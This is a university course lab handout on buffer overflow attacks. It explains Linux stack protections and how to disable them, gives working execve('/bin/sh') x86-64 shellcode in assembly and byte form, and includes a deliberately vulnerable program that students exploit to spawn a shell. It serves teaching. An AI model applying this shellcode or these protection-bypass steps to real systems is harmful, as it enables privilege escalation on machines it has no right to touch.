CIS 450 -- Computer Organization and Architecture -- Spring 2018

Programming Lab Assignment 3: Buffer Overflow Lab

Lab Dates: Feb. 23, Mar. 2, 9, due Monday, Mar. 12, 11:59 pm

(50 points)

Problem Statement

Buffer overflow is defined as a condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed-length buffers. This vulnerability can be utilized by a malicious user to alter the flow of control in a process, or even to execute an arbitrary piece of code. This vulnerability arises due to the closeness of the data buffers and the return address. An overflow can cause the return address to be overwritten. We will conduct the attack on an Intel System running Linux. There are three protection mechanisms in Linux that make buffer overflow attacks much more difficult. First, some Linux variants use an exec-shield to make the stack non-executable; therefore, even if we can inject some exploit code onto the stack, it cannot run. Second, Linux supports Address Space Layout Randomization (ASLR) to randomize the starting address of the heap and/or stack. This makes it difficult to guess the exact address of the exploit code; recall that guessing addresses is one of the critical steps of buffer-overflow attacks. If you have root (Super User (su)) access on a Linux system, you can disable this feature by using one of the following commands, (note that you do **NOT** have root access on the lab machines):

```
$ sudo echo 0 > /proc/sys/kernel/randomize_va_space

$ sudo sysctl -w kernel.randomize_va_space=0
```

-- this simply sets the proc file /proc/sys/kernel/randomize_va_space to contain 0 instead of 1 or 2.

Finally, a "canary" (think of miners carrying a canary in the mine to detect gas) can be placed on the stack between the local data and the return address. If this random value is modified, then a stack smashing attempt is detected on return from the function, and the program is halted. This can be set using the –fstack-protector-all flag, and avoided by turning off stack protection when compiling our code:

```
$ gcc –fno-stack-protector ...
```

In the next section, we'll set about the task of building some exploit code. We won't do anything too malicious. Also, it worth warning that attempts to actually hack into computer systems is considered unethical, but to prevent such attacks in our own code, it is important to understand how they are created.

1. Building Some Exploit Code:

To further protect against buffer overflow attacks and other attacks that use shell programs, many shell programs automatically drop their privileges when invoked. Therefore, even if you can "fool" a privileged Set-UID program to invoke a shell, you might not be able to retain the privileges within the shell. This protection scheme is implemented in /bin/bash and /bin/dash. In many Linux systems, /bin/sh is actually a symbolic link to /bin/bash or /bin/dash. Notice the leading "l"(l = symbolic link) when you execute the command: **`ls -l /bin/sh`**. To circumvent this protection scheme, we could use another shell program (e.g., /bin/zsh), instead of /bin/dash. The following instructions describe how to create some exploit code. All of the initial code is available online in a gzipped, tape archive (tgz) file: **/pub/cis450/programs/Lab3.tgz**. Copy this file to your own directory, and extract the files using the command: **`tar xvzf Lab3.tgz`**. This will create a folder called Lab3 with all of the necessary files inside that folder; e.g., **`cd Lab3`**.

Exploit Code: Before you start the attack, you need some exploit code; i.e., code that can be used to launch a root shell or perform some other malicious act; e.g., change a password, etc. This exploit code has to be loaded into the memory so that we can force our program to jump to it. Consider the following code that makes a system call to execute /bin/sh:

```
int main( ) {
    char *argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    execve(argv[0], argv, NULL);
}
```

The shell code we are using is essentially just the assembly version of the above program (just modified to store the strings on the stack). The simple assembly version is called shellCode.c:

```
int main() {
__asm__(
  "mov    $0x0,%rdx\n\t"        // arg 3 = NULL
  "mov    $0x0,%rsi\n\t"        // arg 2 = NULL
  "mov    $0x0068732f6e69622f,%rdi\n\t"
  "push   %rdi\n\t"             // push "/bin/sh" onto stack
  "mov    %rsp,%rdi\n\t"        // arg 1 = stack pointer = addr of "/bin/sh"
  "mov    $0x3b,%rax\n\t"       // syscall number = 59
  "syscall\n\t"
);
}
```

This is roughly equivalent to the system call: `execve("/bin/sh",NULL,NULL);`

To build the code, compile the code using: **`gcc –o shellCode shellCode.c`**, or just type the command: **`make shellCode`**. Notice, there is a Makefile in the same folder with the sample code, so when you type **make shellCode**, the section labeled shellCode: is executed:

```
shellCode: shellCode.c
        gcc -o shellCode shellCode.c
```

Dependencies are shown on the first line, e.g., shellCode.c – we need the source to build it, and the command executed is shown on the second line (there is a single tab in front of the gcc). Recall that we can dump the executable code to examine its contents using objdump; e.g., **`objdump –d shellCode`**.

```
…
0000000000000660 <main>:
 660:   55                      push   %rbp
 661:   48 89 e5                mov    %rsp,%rbp
 664:   48 c7 c2 00 00 00 00    mov    $0x0,%rdx
 66b:   48 c7 c6 00 00 00 00    mov    $0x0,%rsi
 672:   48 bf 2f 62 69 6e 2f    movabs $0x68732f6e69622f,%rdi
 679:   73 68 00
 67c:   57                      push   %rdi
 67d:   48 89 e7                mov    %rsp,%rdi
 680:   48 c7 c0 3b 00 00 00    mov    $0x3b,%rax
 687:   0f 05                   syscall
 689:   b8 00 00 00 00          mov    $0x0,%eax
 68e:   5d                      pop    %rbp
 68f:   c3                      retq
```

The following program shows you how to launch a shell by loading a character array with the relevant parts of the shell code, and making a function call to the array ;-).

Compile the following code, **callShellCode.c** via: **`rm callShell; gcc –o callShell callShellCode.c`**

```
//
// callShellCode.c - a program that writes some code to execute a shell,
//                   and then jumps to that buffer to execute the shell
//
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char code[] =
    "\x55"                           /* push   %rbp */
    "\x48\x89\xe5"                   /* mov    %rsp,%rbp */
    "\x48\xc7\xc2\x00\x00\x00\x00"   /* mov    $0x0,%rdx */
    "\x48\xc7\xc6\x00\x00\x00\x00"   /* mov    $0x0,%rsi */
    "\x48\xbf\x2f\x62\x69\x6e\x2f"   /* movabs $0x68732f6e69622f,%rdi */
    "\x73\x68\x00"
    "\x57"                           /* push   %rdi */
    "\x48\x89\xe7"                   /* mov    %rsp,%rdi */
    "\x48\xc7\xc0\x3b\x00\x00\x00"   /* mov    $0x3b,%rax */
    "\x0f\x05"                       /* syscall */
    "\x5d"                           /* pop    %rbp */
    "\xc3"                           /* retq */
    "\x90"                           /* nop */
    "\x00"                           /* end of string marker added */
;
int main(int argc, char **argv)
{
   ((void(*)( ))code)();
}
```

Execute using: **`./callShell`** : This will result in a **Segmentation fault** because we're trying to execute code in the data segment. To allow the code to be executed there, compile with the **`-z execstack`** flag; e.g.,

`rm callShell; gcc –o callShell –z execstack callShellCode.c`

This can also be completed using the commands: **`make clean`**, followed by **`make callShell`**. To see that a new shell is created, use the process status command to see which processes are currently executing:

```
viper$ ps
  PID TTY          TIME CMD
2941  pts/13   00:00:00 bash
27159 pts/13   00:00:00 ps
```

Execute callShell:

```
viper$ ./callshell
```

Then, check that the new process /bin/sh is running:

```
$ ps
  PID TTY          TIME CMD
2941  pts/13   00:00:00 bash
27175 pts/13   00:00:00 sh     ← new shell created!
27178 pts/13   00:00:00 ps
```

Finally, exit from the newly created shell:

```
$ exit                         ← exit from /bin/sh
neilsen@viper$ ps
  PID TTY          TIME CMD
2941  pts/13   00:00:00 bash
27191 pts/13   00:00:00 ps
```

Notice, you should see a different shell prompt and an extra process running on your behalf after invoking the shell. To execute a system call in 32-bit code, int $0x80 is used instead of syscall, but we'll just focus on the 64-bit version of exploit code for this lab.

2. Fun With Yoo(), Who(), and Foo():

Consider the following code:

```
//
// funWithYooWhoFoo.c - fun with function calls
//
#include <stdio.h>
#include <stdlib.h>

void foo()
{
    static int foo_cnt = 0;
    foo_cnt++;
    printf("Now inside foo() - count = %d !!\n", foo_cnt);
}

void who()
{
    static int who_cnt = 0;
    who_cnt++;
    printf("Now inside who() - count = %d !\n", who_cnt);
}

void yoo()
{
    void *addr[4];
    printf("Now inside yoo() !\n");
    // you can only modify this section

    addr[5] = who;
    addr[6] = who;
    return;
}

int main (int argc, char *argv[])
{
     void *space[99];
     yoo();
     printf("Back in main\n");
     return 0;
}
```

For the first part of the assignment, we will simply modify some code to smash the stack by writing beyond the end of an array and thus, overwriting the return address, so that a function call to **`yoo()`** returns to **`who()`** , and then **`who()`** returns to **`foo()`** on the way back to **`main()`**. In particular, you want the output to be:

```
Now inside yoo() !
Now inside who() - count = 1 !
Now inside foo() - count = 1 !!
Back in main
```

To accomplish this feat, you need to overflow the array so that the return address is overwritten with the address of bar; e.g., you could just add a few:

```
addr[5] = who;
addr[6] = who;
addr[7] = who;
...
```

But, that would also overwrite the return address to main, so the output might become:

```
Now inside yoo() !
Now inside who() - count = 1 !
Now inside who() - count = 2 !
Segmentation fault -  caused by returning to an invalid address
                      at the end of who().
```

Hint: the best approach is to save the **return address to main** on the stack before **overwriting** the return address to main. **Remember that the addresses here are going up, while the stack is growing down, also, shorthand for the address of function who() is just who which equates to &who().**

To compile the code remember to turn off stack protection:

```
$ make clean
$ gcc -o fun -m32 -fno-stack-protector funWithYooWhoFoo.c
$ ./fun
```
or
```
$ make fun
$ ./fun
```

Just leave the modified code in the Lab3 folder, later we will create a gzipped, tar archive to upload to submit the assignment. Once you have it working for a 32-bit stack, then, make it work for a 64-bit stack by modifying funWithYooAndWho64.c, and build the executable using: **`make fun64`**, and execute using: **`./fun64.`** Again, just leave the modified code, **`funWithYooWhoFoo64.c`**, in the Lab3 folder.

Challenge Problem: Can you make the program cycle through `yoo()`, `who()`, and `foo()` many times (more than one) by only making changes in `yoo()` and still eventually return to main? If you choose to work on the challenge, upload the code as `funWithYooWhoFooChallenge.c`. You can use **`make funChallenge`**, or just **`make,`** and execute using: **`./funC.`**

3. Vulnerable Program:

Consider the following code which contains a buffer overflow vulnerability:

```
//
// vstack.c - vulnerable stack
//
...
int load_code(char *filename)
{
    fd = open (filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);
    printf("fd = %d\n", fd);

    addr=mmap((void *)0x12BEE000, 512, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIV>
..
    printf("Addr: %lu\n", (long unsigned) addr);
    close (fd);
    return 0;
}
int bof(char *filename)
{
    char buffer[8];
    int i;

    bp = buffer;
    fp = fopen(filename, "rb");
    /* The following statement has a potential buffer overflow problem */
    while (!feof(fp))
      fread(bp++, sizeof(char), 1, fp);
    fclose(fp);
    return 0;
}
```

```
int main(int argc, char **argv)
{
    switch(argc)
    {
      case 3:
        load_code(argv[2]);
        printf("Loaded code\n");
        bof(argv[1]);
        printf("Loaded overflow, so what are we doing back here?\n");
        break;
      default:
        printf("Usage: vstack <overflow> <exploit>\n");
        break;
    }
    return 0;
}
```

The above program has a buffer overflow vulnerability. It tries to read all of the bytes in a file <overflow> into an array that can only hold 8 bytes. Buffer overflow will occur if more than 8 bytes are read, but the code won't complain. Normally, we could use the same buffer overflow to also load the code. But remember, our Linux boxes implement two forms of protection to prevent buffer overflow exploits. Through randomization, the data is loaded onto the stack in different locations each time the code is executed, and code on the stack is not executable. Of course, one way to overcome not knowing exactly where the code is loaded is to insert many NOP (0x90) operations at the beginning of the code, then by guessing a location that hits one of the no-ops, we can "sleigh" into the executable code. But, we still have a bigger problem with the newer versions of Linux, and that is, data on the stack is not executable. Lucky for us, the Linux boxes do not use randomization on fixed memory-mapped regions in the data segment. So, our attack is going to be in two parts. First we will load the exploit shell code into a memory mapped segment. Then, we will adjust the overflow code so that the return address is set to return to the location of the code in that data segment. If we are successful, then the call to **bof( )** should **return** to execute the shell code!

Exploiting the Vulnerability: We provide you with some partially completed exploit creation code called **buildExploit.c**. The goal of this code is to construct contents for binary files "overflow" and "exploit". In this code, the shell code is given to you (as above). You need to develop the rest; e.g., the correct exploit and overflow. After you finish the above program, compile and run it using: **`make buildExploit; ./buildExploit`**. This will generate the overflow data and the executable exploit shell code in the files "overflow" and "exploit", respectively. Then, run the vulnerable program stack. If your exploit is implemented correctly, (and the vulnerable program was running with the setuid bit on -- more on this later) you should be able to obtain a "root" shell:

```
viper$ gcc -o buildExploit buildExploit.c
viper$./buildExploit      -- generate binary files overflow and exploit
viper$./vstack  overflow  exploit       -- launch the attack
$  ← Bingo! You've got a "root" shell!
```

Of course, it's not a "real" root shell, unless you are running the program as su = super-user. Once you are able to obtain a shell, then **modify the exploit code to execute the shell script "snow.sh"** with the newly created shell; e.g., /bin/sh snow.sh. Hint: both "/bin/sh" and "snow.sh" fit within 8 bytes terminated with an end of string marker "\0" which is just 0x00. For this part, you can't just replace "/bin/sh" with "snow.sh" -- even though that will cause the shell script to be executed ;-). Look at the requirements for the arguments to execve. To stop the snow from falling, just type <ctrl>-c to interrupt the script.

What to Submit:

Upload a gzipped, tar archive called Lab3.tgz containing the contents of your Lab3 folder. To create an archive, jump up one level from the Lab3 directory; e.g., $ **`cd ..`** Then just issue the tar command to create the archive:

`$ tar cvzf Lab3.tgz Lab3`

If you prefer, you can create a zipped file containing the contents of Lab3. Finally, upload your archive file Lab3.tgz or Lab3.zip to K-State OnLine.

References: [1] Aleph One. "Smashing The Stack For Fun And Profit". *Phrack 49*, Volume 7, Issue 49.